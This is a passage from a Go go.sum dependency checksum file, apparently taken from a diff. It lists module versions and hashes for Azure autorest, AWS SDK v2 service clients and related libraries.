github.com/Azure/go-autorest/autorest/adal v0.9.18/go.mod h1:XVVeme+LZwABT8K5Lc3hA4nAe8LDBVle26gTrguhhPQ=
github.com/Azure/go-autorest/autorest/adal v0.9.21 h1:jjQnVFXPfekaqb8vIsv2G1lxshoW+oGv4MDlhRtnYZk=
github.com/Azure/go-autorest/autorest/adal v0.9.21/go.mod h1:zua7mBUaCc5YnSLKYgGJR/w5ePdMDA6H56upLsHzA9U=
github.com/Azure/go-autorest/autorest/azure/auth v0.5.11 h1:P6bYXFoao05z5uhOQzbC3Qd8JqF3jUoocoTeIxkp2cA=
github.com/Azure/go-autorest/autorest/azure/auth v0.5.11/go.mod h1:84w/uV8E37feW2NCJ08uT9VBfjfUHpgLVnG2InYD6cg=
github.com/Azure/go-autorest/autorest/adal v0.9.22/go.mod h1:XuAbAEUv2Tta//+voMI038TrJBqjKam0me7qR+L8Cmk=
github.com/Azure/go-autorest/autorest/adal v0.9.23 h1:Yepx8CvFxwNKpH6ja7RZ+sKX+DWYNldbLiALMC3BTz8=
github.com/Azure/go-autorest/autorest/adal v0.9.23/go.mod h1:5pcMqFkdPhviJdlEy3kC/v1ZLnQl0MH6XA5YCcMhy4c=
github.com/Azure/go-autorest/autorest/azure/auth v0.5.12 h1:wkAZRgT/pn8HhFyzfe9UnqOjJYqlembgCTi72Bm/xKk=
github.com/Azure/go-autorest/autorest/azure/auth v0.5.12/go.mod h1:84w/uV8E37feW2NCJ08uT9VBfjfUHpgLVnG2InYD6cg=
github.com/Azure/go-autorest/autorest/azure/cli v0.4.5/go.mod h1:ADQAXrkgm7acgWVUNamOgh8YNrv4p27l3Wc55oVfpzg=
github.com/Azure/go-autorest/autorest/azure/cli v0.4.6 h1:w77/uPk80ZET2F+AfQExZyEWtn+0Rk/uw17m9fv5Ajc=
github.com/Azure/go-autorest/autorest/azure/cli v0.4.6/go.mod h1:piCfgPho7BiIDdEQ1+g4VmKyD5y+p/XtSNqE6Hc4QD0=
@@ -64,118 +91,131 @@ github.com/Azure/go-autorest/logger v0.2.1 h1:IG7i4p/mDa2Ce4TRyAO8IHnVhAVF3RFU+Z
github.com/Azure/go-autorest/logger v0.2.1/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8=
github.com/Azure/go-autorest/tracing v0.6.0 h1:TYi4+3m5t6K48TGI9AUdb+IzbnSxvnvUMfuitfgcfuo=
github.com/Azure/go-autorest/tracing v0.6.0/go.mod h1:+vhtPC754Xsa23ID7GlGsrdKBpUA79WCAKPPZVC2DeU=
github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0 h1:OBhqkivkhkMqLPymWEppkm7vgPQY2XsHoEkaMQ0AdZY=
github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0/go.mod h1:kgDmCTgBzIEPFElEF+FK0SdjAor06dRq2Go927dnQ6o=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
github.com/aquasecurity/table v1.8.0 h1:9ntpSwrUfjrM6/YviArlx/ZBGd6ix8W+MtojQcM7tv0=
github.com/aquasecurity/table v1.8.0/go.mod h1:eqOmvjjB7AhXFgFqpJUEE/ietg7RrMSJZXyTN8E/wZw=
github.com/asaskevich/govalidator v0.0.0-20200907205600-7a23bdc65eef/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d h1:Byv0BzEl3/e6D5CLfI0j/7hiIEtvGVFPCZ7Ei2oq8iQ=
github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
github.com/aws/aws-sdk-go-v2 v1.17.1 h1:02c72fDJr87N8RAC2s3Qu0YuvMRZKNZJ9F+lAehCazk=
github.com/aws/aws-sdk-go-v2 v1.17.1/go.mod h1:JLnGeGONAyi2lWXI1p0PCIOIy333JMVK1U7Hf0aRFLw=
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.9 h1:RKci2D7tMwpvGpDNZnGQw9wk6v7o/xSwFcUAuNPoB8k=
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.9/go.mod h1:vCmV1q1VK8eoQJ5+aYE7PkK1K6v41qJ5pJdK3ggCDvg=
github.com/aws/aws-sdk-go-v2/config v1.18.3 h1:3kfBKcX3votFX84dm00U8RGA1sCCh3eRMOGzg5dCWfU=
github.com/aws/aws-sdk-go-v2/config v1.18.3/go.mod h1:BYdrbeCse3ZnOD5+2/VE/nATOK8fEUpBtmPMdKSyhMU=
github.com/aws/aws-sdk-go-v2/credentials v1.13.3 h1:ur+FHdp4NbVIv/49bUjBW+FE7e57HOo03ELodttmagk=
github.com/aws/aws-sdk-go-v2/credentials v1.13.3/go.mod h1:/rOMmqYBcFfNbRPU0iN9IgGqD5+V2yp3iWNmIlz0wI4=
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.19 h1:E3PXZSI3F2bzyj6XxUXdTIfvp425HHhwKsFvmzBwHgs=
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.19/go.mod h1:VihW95zQpeKQWVPGkwT+2+WJNQV8UXFfMTWdU6VErL8=
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.25 h1:nBO/RFxeq/IS5G9Of+ZrgucRciie2qpLy++3UGZ+q2E=
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.25/go.mod h1:Zb29PYkf42vVYQY6pvSyJCJcFHlPIiY+YKdPtwnvMkY=
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.19 h1:oRHDrwCTVT8ZXi4sr9Ld+EXk7N/KGssOr2ygNeojEhw=
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.19/go.mod h1:6Q0546uHDp421okhmmGfbxzq2hBqbXFNpi4k+Q1JnQA=
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.26 h1:Mza+vlnZr+fPKFKRq/lKGVvM6B/8ZZmNdEopOwSQLms=
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.26/go.mod h1:Y2OJ+P+MC1u1VKnavT+PshiEuGPyh/7DqxoDNij4/bg=
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.16 h1:2EXB7dtGwRYIN3XQ9qwIW504DVbKIw3r89xQnonGdsQ=
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.16/go.mod h1:XH+3h395e3WVdd6T2Z3mPxuI+x/HVtdqVOREkTiyubs=
github.com/aws/aws-sdk-go-v2/service/apigateway v1.15.25 h1:WCRj8JKifyZTZiFGY6ayyNypZOlHsPbCqv6Tqfjmn7s=
github.com/aws/aws-sdk-go-v2/service/apigateway v1.15.25/go.mod h1:3olVANhEv+CFhEvC/TTkqh+1kg+r0px3CbH5eRKx7J4=
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.12.23 h1:tRkvVyUDMi4DBV6+QKK9Vmi2QN/SHmmcQo21vACw1Tc=
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.12.23/go.mod h1:BEIWaGqO27qq9JeFeY746S4+SFmBajpV+yhGne2qbMo=
github.com/aws/aws-sdk-go-v2/service/apprunner v1.15.0 h1:bX586RbPhYHIZKQ01cEUImiHU5y/7Ob5R9c5N6jhGuc=
github.com/aws/aws-sdk-go-v2/service/apprunner v1.15.0/go.mod h1:NgTcDA7LdWjNGGBhS09XMVuwr8MZSFy/4G+BwZASviE=
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.24.1 h1:k8/rAveUOcZV8Ex6WiCmvdtTcDtyf0QgvMmVFA9PRJ8=
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.24.1/go.mod h1:AyrrIfauUrYfHqLrnroijTBBegQow3QIZTaLbQsauNk=
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.21.0 h1:3bV+nNw0PPxkHvdRWUogUMtikIgIo2bVj48MvxQvoHA=
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.21.0/go.mod h1:fV9PzXIIT2xUvf5KXEGToDYxEXcqDyO33SRfv2rAs/8=
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.20.3 h1:syWZB25hdMayklHlAe195ertSget7wBEjExW/t+tfJ0=
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.20.3/go.mod h1:G3xZtg7cjsJaJdl1oVkscYXbdDLZBfOHbE1JqcnZxOI=
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.17.7 h1:/TwGWNd3vnjXaPMau8eY7s5j6Afe4WxnRfIB64r4jEk=
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.17.7/go.mod h1:BiglbKCG56L8tmMnUEyEQo422BO9xnNR8vVHnOsByf8=
github.com/aws/aws-sdk-go-v2/service/ec2 v1.72.1 h1:iR8DtI9Jc9sMdOsvjiu6rs5jH+9csW88elgwpEMP8TU=
github.com/aws/aws-sdk-go-v2/service/ec2 v1.72.1/go.mod h1:zul71QqzR4D1a90/5FloZiAnZ1CtuIjVH7R9MP997+A=
github.com/aws/aws-sdk-go-v2/service/ecr v1.17.23 h1:Da25Cw8xI2q9Gr+ekQvpqJpyqR61xcb9Fh1Tkr/Cv/w=
github.com/aws/aws-sdk-go-v2/service/ecr v1.17.23/go.mod h1:kEVGiy2tACP0cegVqx4MrjsgQMSgrtgRq1fSa+Ix6F0=
github.com/aws/aws-sdk-go-v2/service/ecs v1.20.0 h1:tFOfeyENzdOM5zKwGXdDsqeVJEjav8YLTb7tDehJ/c0=
github.com/aws/aws-sdk-go-v2/service/ecs v1.20.0/go.mod h1:NpR78BP2STxvF/R1GXLDM4gAEfjz68W/h0nC5b6Jk3s=
github.com/aws/aws-sdk-go-v2/service/efs v1.18.0 h1:06pqrWeT8jrj8NIE0kovrFY3KC0pBt913HyusYyFjm8=
github.com/aws/aws-sdk-go-v2/service/efs v1.18.0/go.mod h1:DdO6hLx0XiYuj2Tn8VsR8et3BW1aXiv74GfsjHvhN9U=
github.com/aws/aws-sdk-go-v2/service/eks v1.23.0 h1:roxmtB8AB5b/COvsD75AnswtsQOxqbjjvowmnX8IKDE=
github.com/aws/aws-sdk-go-v2/service/eks v1.23.0/go.mod h1:bxjOnpk0lwAq4jmmTONfUGPjgO8sLAbflxTHsY7thkU=
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.23 h1:wJdl2doHQU+60ETqLHfXtY4ywmm36ZHiinA/rVkTtl8=
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.23/go.mod h1:gHgx63dm28U/o5NotzfFWhxUASzcZuPgO8GDpsI1Aqw=
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.26 h1:gAy84CkCnK2vgh7Rj5tRzpqeATCPShVCIjJZ0g7iKNg=
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.26/go.mod h1:uIsRP+M5F/Ch+21isqTg6u16FXl2yzupCX0Dli4eQEM=
github.com/aws/aws-sdk-go-v2/service/fsx v1.25.4 h1:cqb2+5MxHa+qdNWiu4giFuDdgBlyDzDawiROMYTuzBM=
github.com/aws/aws-sdk-go-v2/service/fsx v1.25.4/go.mod h1:dOw+yZ4MsogGQIWd7z6jNb0Q9aSlSeTy3EZWKDGT/dM=
github.com/aws/aws-sdk-go-v2/service/glue v1.35.0 h1:qs2mr/MDqcAkG2XimkX3PcwR5jwCCZ8r4/yAWOCjGJo=
github.com/aws/aws-sdk-go-v2/service/glue v1.35.0/go.mod h1:kgD6fBlQEkhJlffBbS8SGYtpjboavr9e8B1ZouD84pY=
github.com/aws/aws-sdk-go-v2/service/grafana v1.10.0 h1:Oi4le4KruAPyOzM5eIIUfUHMKnFKpyGAt5sglp+KIgw=
github.com/aws/aws-sdk-go-v2/service/grafana v1.10.0/go.mod h1:mvMvy3rVAodoUa9hx6vS8cooFkLlpkt46n7BWVZNyA0=
github.com/aws/aws-sdk-go-v2/service/iam v1.18.23 h1:HOtW30EkfQevdv++mKguMyn8/agh1z2VuBGR4Hou/u8=
github.com/aws/aws-sdk-go-v2/service/iam v1.18.23/go.mod h1:yQ92mKfw/Gg5AvgxGmfdufKEyVoa9RNBsdnB9j5Gzkk=
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.10 h1:dpiPHgmFstgkLG07KaYAewvuptq5kvo52xn7tVSrtrQ=
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.10/go.mod h1:9cBNUHI2aW4ho0A5T87O294iPDuuUOSIEDjnd1Lq/z0=
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.20 h1:KSvtm1+fPXE0swe9GPjc6msyrdTT0LB/BP8eLugL1FI=
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.20/go.mod h1:Mp4XI/CkWGD79AQxZ5lIFlgvC0A+gl+4BmyG1F+SfNc=
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.19 h1:V03dAtcAN4Qtly7H3/0B6m3t/cyl4FgyKFqK738fyJw=
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.19/go.mod h1:2WpVWFC5n4DYhjNXzObtge8xfgId9UP6GWca46KJFLo=
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.19 h1:GE25AWCdNUPh9AOJzI9KIJnja7IwUc1WyUqz/JTyJ/I=
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.19/go.mod h1:02CP6iuYP+IVnBX5HULVdSAku/85eHB2Y9EsFhrkEwU=
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.19 h1:piDBAaWkaxkkVV3xJJbTehXCZRXYs49kvpi/LG6LR2o=
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.19/go.mod h1:BmQWRVkLTmyNzYPFAZgon53qKLWBNSvonugD1MrSWUs=
github.com/aws/aws-sdk-go-v2/service/lambda v1.25.1 h1:mmWZ5Hdc7hMHIUVLgOFLjQQvvUGZ3uhNO8mDGznqIiA=
github.com/aws/aws-sdk-go-v2/service/lambda v1.25.1/go.mod h1:2oqKd3SCTyhVaUei20xDUOOcqOAuAnbCy79w/t1dDVs=
github.com/aws/aws-sdk-go-v2/service/lightsail v1.24.0 h1:ILjBjigugB2APXvhntZU+XwDAcaTId22dE0OwIbi/2A=
github.com/aws/aws-sdk-go-v2/service/lightsail v1.24.0/go.mod h1:LYCAGTJ4XgNZAESKxLC9L12F7IIQbJHccVxanY8DYzo=
github.com/aws/aws-sdk-go-v2/service/mq v1.13.15 h1:K0UbxNfaPHoIXo0T4L4jrbE+TKcVPYp55nEnMLxVRPk=
github.com/aws/aws-sdk-go-v2/service/mq v1.13.15/go.mod h1:ycghPMXYItx5Y74iehFgGwDNUMXdq0xCxLaYC5uYZO0=
github.com/aws/aws-sdk-go-v2/service/opensearch v1.11.3 h1:ViGcWux+UbkS/JBLxPILq/Mevlf9RXSycGlPaVQON5Y=
github.com/aws/aws-sdk-go-v2/service/opensearch v1.11.3/go.mod h1:7mh4ks7MsQUuhHFCr10LIF9gKVS+0yylPUmCEM/kzJE=
github.com/aws/aws-sdk-go-v2/service/ram v1.16.24 h1:pzB33ZEhd1szVKHkgYe4cXQ+kSLJEFGBLy+IpbAKY9Y=
github.com/aws/aws-sdk-go-v2/service/ram v1.16.24/go.mod h1:el3+/AiwdwKk5qZEcCQqm+t3b1A5QLZI2nr/OkhM/gc=
github.com/aws/aws-sdk-go-v2/service/rds v1.31.0 h1:lx8pflhN7oogISvAorwqPGFHN7eiVlGEwk21ThYcyoA=
github.com/aws/aws-sdk-go-v2/service/rds v1.31.0/go.mod h1:wPFe1Cj3nZWmNWKKdkXw961l1dJheTZQ5JjPImqbMuI=
github.com/aws/aws-sdk-go-v2/service/redshift v1.26.16 h1:qPa2cNgLUAMavzTD9joFfjU/ue5GE1gFsJPLD13yomw=
github.com/aws/aws-sdk-go-v2/service/redshift v1.26.16/go.mod h1:Ds+ElMoF3oxjYWJZofKeNeih3q3W7vzRCkRdnu/aOj8=
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.13.24 h1:CP4LqvOiNVTtWoUgISmhTzUinT7zvYd57C6Xey9w86k=
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.13.24/go.mod h1:/WfhDm5Hmfy/3TSM/1m9ojM0IQsBuVGvd3vITQc86i0=
github.com/aws/aws-sdk-go-v2/service/route53 v1.25.0 h1:ubppi63qDFs3J7cg8uDOzyvlmKFQDoxL2tlHb7mfbR8=
github.com/aws/aws-sdk-go-v2/service/route53 v1.25.0/go.mod h1:kUSK8EkGYdzFbTmADk0t7yRIoESH80xjWe8Bp6dQce8=
github.com/aws/aws-sdk-go-v2/service/s3 v1.29.4 h1:QgmmWifaYZZcpaw3y1+ccRlgH6jAvLm4K/MBGUc7cNM=
github.com/aws/aws-sdk-go-v2/service/s3 v1.29.4/go.mod h1:/NHbqPRiwxSPVOB2Xr+StDEH+GWV/64WwnUjv4KYzV0=
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.55.0 h1:i0G6pXYPs6FsufUBOGXqE/ozlFxZUf+pwp5fhSEvs7E=
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.55.0/go.mod h1:umigFBRAb3i0OTRXRYDLlCawnJPYCWLhod55+tZHOFA=
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.8 h1:Zw48FHykP40fKMxPmagkuzklpEuDPLhvUjKP8Ygrds0=
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.8/go.mod h1:k6CPuxyzO247nYEM1baEwHH1kRtosRCvgahAepaaShw=
github.com/aws/aws-sdk-go-v2/service/sns v1.18.6 h1:rfQqunscpnVmvK6O9B2DwrBzIMICSCKswPwkD2XDan8=
github.com/aws/aws-sdk-go-v2/service/sns v1.18.6/go.mod h1:2cPUjR63iE9MPMPJtSyzYmsTFCNrN/Xi9j0v9BL5OU0=
github.com/aws/aws-sdk-go-v2/service/sqs v1.19.15 h1:5PgOVgJWObGxve+0qU7T/C0reU6RxqpNwbuunLT9Vlc=
github.com/aws/aws-sdk-go-v2/service/sqs v1.19.15/go.mod h1:DKX/7/ZiAzHO6p6AhArnGdrV4r+d461weby8KeVtvC4=
github.com/aws/aws-sdk-go-v2/service/ssm v1.33.1 h1:N4aPQGoAgdUr+3F1UcuW8/WE3aM7sxzOpzDP0hWkJCg=
github.com/aws/aws-sdk-go-v2/service/ssm v1.33.1/go.mod h1:rEsqsZrOp9YvSGPOrcL3pR9+i/QJaWRkAYbuxMa7yCU=
github.com/aws/aws-sdk-go-v2/service/sso v1.11.25 h1:GFZitO48N/7EsFDt8fMa5iYdmWqkUDDB3Eje6z3kbG0=
github.com/aws/aws-sdk-go-v2/service/sso v1.11.25/go.mod h1:IARHuzTXmj1C0KS35vboR0FeJ89OkEy1M9mWbK2ifCI=
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.8 h1:jcw6kKZrtNfBPJkaHrscDOZoe5gvi9wjudnxvozYFJo=
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.8/go.mod h1:er2JHN+kBY6FcMfcBBKNGCT3CarImmdFzishsqBmSRI=
github.com/aws/aws-sdk-go-v2/service/sts v1.17.5 h1:60SJ4lhvn///8ygCzYy2l53bFW/Q15bVfyjyAWo6zuw=
github.com/aws/aws-sdk-go-v2/service/sts v1.17.5/go.mod h1:bXcN3koeVYiJcdDU89n3kCYILob7Y34AeLopUbZgLT4=
github.com/aws/smithy-go v1.13.4 h1:/RN2z1txIJWeXeOkzX+Hk/4Uuvv7dWtCjbmVJcrskyk=
github.com/aws/smithy-go v1.13.4/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
github.com/bishopfox/awsservicemap v1.0.0 h1:iZOPsMPfMmugLhOctLJUqcCrkT5+NflF5DIv7EFomMs=
github.com/bishopfox/awsservicemap v1.0.0/go.mod h1:oy9Fyqh6AozQjShSx+zRNouTlp7k3z3YEMoFkN8rquc=
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
github.com/aws/aws-sdk-go-v2 v1.18.0 h1:882kkTpSFhdgYRKVZ/VCgf7sd0ru57p2JCxz4/oN5RY=
github.com/aws/aws-sdk-go-v2 v1.18.0/go.mod h1:uzbQtefpm44goOPmdKyAlXSNcwlRgF3ePWVW6EtJvvw=
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.10 h1:dK82zF6kkPeCo8J1e+tGx4JdvDIQzj7ygIoLg8WMuGs=
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.10/go.mod h1:VeTZetY5KRJLuD/7fkQXMU6Mw7H5m/KP2J5Iy9osMno=
github.com/aws/aws-sdk-go-v2/config v1.18.25 h1:JuYyZcnMPBiFqn87L2cRppo+rNwgah6YwD3VuyvaW6Q=
github.com/aws/aws-sdk-go-v2/config v1.18.25/go.mod h1:dZnYpD5wTW/dQF0rRNLVypB396zWCcPiBIvdvSWHEg4=
github.com/aws/aws-sdk-go-v2/credentials v1.13.24 h1:PjiYyls3QdCrzqUN35jMWtUK1vqVZ+zLfdOa/UPFDp0=
github.com/aws/aws-sdk-go-v2/credentials v1.13.24/go.mod h1:jYPYi99wUOPIFi0rhiOvXeSEReVOzBqFNOX5bXYoG2o=
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.3 h1:jJPgroehGvjrde3XufFIJUZVK5A2L9a3KwSFgKy9n8w=
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.3/go.mod h1:4Q0UFP0YJf0NrsEuEYHpM9fTSEVnD16Z3uyEF7J9JGM=
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.33 h1:kG5eQilShqmJbv11XL1VpyDbaEJzWxd4zRiCG30GSn4=
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.33/go.mod h1:7i0PF1ME/2eUPFcjkVIwq+DOygHEoK92t5cDqNgYbIw=
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.27 h1:vFQlirhuM8lLlpI7imKOMsjdQLuN9CPi+k44F/OFVsk=
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.27/go.mod h1:UrHnn3QV/d0pBZ6QBAEQcqFLf8FAzLmoUfPVIueOvoM=
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.34 h1:gGLG7yKaXG02/jBlg210R7VgQIotiQntNhsCFejawx8=
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.34/go.mod h1:Etz2dj6UHYuw+Xw830KfzCfWGMzqvUTCjUj5b76GVDc=
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.25 h1:AzwRi5OKKwo4QNqPf7TjeO+tK8AyOK3GVSwmRPo7/Cs=
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.25/go.mod h1:SUbB4wcbSEyCvqBxv/O/IBf93RbEze7U7OnoTlpPB+g=
github.com/aws/aws-sdk-go-v2/service/apigateway v1.16.11 h1:90Jf9htQw8RA1FIujUc8ZM8AFWNySHZH1SKe2/0Kla8=
github.com/aws/aws-sdk-go-v2/service/apigateway v1.16.11/go.mod h1:GXjIkQpFivo8T4szSTIiNQBvONXQz/MbN+M251q9BPk=
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.13.11 h1:1L2042GftNVyI3TtWclGodfN5zBQjBNXsTQxDNaPXs8=
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.13.11/go.mod h1:Cs+mG0DXkVYPWsWIE8Ga78C/HeN5zFBbPHdOnJPwZ4M=
github.com/aws/aws-sdk-go-v2/service/apprunner v1.17.9 h1:Ddc9R2j1KQ4qhbbfwugcQ44LzmeieaUSlBGbAGASuLM=
github.com/aws/aws-sdk-go-v2/service/apprunner v1.17.9/go.mod h1:tKdk26xmO22Q+geNJM7/uMDdTMvPCFZM12H0m1jpsHM=
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.29.0 h1:MjDK6nt3iDPCk4CVLrc6GoxZIunzRnyIalTYwEUKb/E=
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.29.0/go.mod h1:YtA9SsNBWnaDpSECATt8ghAOUMcGeHcnY2kTENLNmO8=
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.26.6 h1:qDEv2jw4sFWOxpo++zFx76GQ7MEh+Q7gHg7/6PVFMJs=
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.26.6/go.mod h1:VaCrMUb08RMUN5p3ss+92ZEGC/2NkWuiCNYET3xkirw=
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.26.0 h1:tPKUl76gWGmmdewjbAMlbL32hr6roDoE8xLiqKNGPfo=
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.26.0/go.mod h1:JJDbUhySZXBEEMEMtiNubwi7ooh7OXI8mb/ItEAShjs=
github.com/aws/aws-sdk-go-v2/service/codebuild v1.20.13 h1:EPmZulYYBXFr/TlIe4iPMm6nyR198VMJOur0EzHvTvI=
github.com/aws/aws-sdk-go-v2/service/codebuild v1.20.13/go.mod h1:5Wsxbl13SRHZ3oUQqIjvn+wLwiknRA/Myi1F5fGW6mo=
github.com/aws/aws-sdk-go-v2/service/docdb v1.21.3 h1:3KemQEVSRTEMexSmRVgqYSLqClvhtETjmrxxQhNLmuo=
github.com/aws/aws-sdk-go-v2/service/docdb v1.21.3/go.mod h1:XC0nkyZ9G1cFKU/K0WS/Jhrz6fsfy411T2L0MEFIlMo=
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.19.7 h1:yb2o8oh3Y+Gg2g+wlzrWS3pB89+dHrXayT/d9cs8McU=
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.19.7/go.mod h1:1MNss6sqoIsFGisX92do/5doiUCBrN7EjhZCS/8DUjI=
github.com/aws/aws-sdk-go-v2/service/ec2 v1.99.0 h1:NXi4pNJWjAaiI56P1Rl8DC9A4jMNRE00WNBsDua5WRg=
github.com/aws/aws-sdk-go-v2/service/ec2 v1.99.0/go.mod h1:L3ZT0N/vBsw77mOAawXmRnREpEjcHd2v5Hzf7AkIH8M=
github.com/aws/aws-sdk-go-v2/service/ecr v1.18.11 h1:wlTgmb/sCmVRJrN5De3CiHj4v/bTCgL5+qpdEd0CPtw=
github.com/aws/aws-sdk-go-v2/service/ecr v1.18.11/go.mod h1:Ce1q2jlNm8BVpjLaOnwnm5v2RClAbK6txwPljFzyW6c=
github.com/aws/aws-sdk-go-v2/service/ecs v1.27.1 h1:54QSuWR3Pot7HqBRXd+c1yF97h2bqzDBID8qFSAkTlE=
github.com/aws/aws-sdk-go-v2/service/ecs v1.27.1/go.mod h1:SB6YszwN1iKvyt/Qk+ICeKsfBxjd0CTEwwkmej9qoa0=
github.com/aws/aws-sdk-go-v2/service/efs v1.20.1 h1:fJFdGkf0Xj04IBnps3YlL6mGPSjzfgAZ7ZX+mbsrPDc=
github.com/aws/aws-sdk-go-v2/service/efs v1.20.1/go.mod h1:7szMjYu35IWLaJEG23z6x/KOFckAF4/oQdNuDni99Pk=
github.com/aws/aws-sdk-go-v2/service/eks v1.27.12 h1:eKidf2ebtleLtH67x02syhO9t3FItv9a7/ep9KC3TAM=
github.com/aws/aws-sdk-go-v2/service/eks v1.27.12/go.mod h1:ZoyBDE311XYRiJpofw4jorVH2u+UhFpzfkrxF3aWu0U=
github.com/aws/aws-sdk-go-v2/service/elasticache v1.27.0 h1:m0ZU6thCelJgtyNMnXYp39y/SY9qE4clxhs84sQM3jA=
github.com/aws/aws-sdk-go-v2/service/elasticache v1.27.0/go.mod h1:uSAGbZNsmIG2EXhWd7+6iKtwF15wWNtR5HLuRamlY5Q=
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.15.10 h1:gGqHXu9rt/F+xGidPfFKVZUYEDZ3zKMMAOx1yVUr//U=
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.15.10/go.mod h1:pidEyxe4u/vkB8wvbKRZ/r6IUJcyhQoTbSLA2HWR6cY=
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.19.11 h1:IN2XMTLmhIEL5e3o+tY9JsLFSAxmjgM8gI7W2+CPrpw=
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.19.11/go.mod h1:oPHYtcocUcfHOE7qygtvyZMw82nedCKZSop/R9jxlAM=
github.com/aws/aws-sdk-go-v2/service/fsx v1.28.13 h1:lIVHlpyYIQPjFX47bsf6u0vfMLP1A4a7imoqzmIj66s=
github.com/aws/aws-sdk-go-v2/service/fsx v1.28.13/go.mod h1:jQE07g3nDTABqgZabycvM3LsgnUYRImP4zWPt4Sb9Bc=
github.com/aws/aws-sdk-go-v2/service/glue v1.50.0 h1:GF6Lsy9g1+Ig2e1TpGygl00+oBcdYHIMyTHoKZa9VGE=
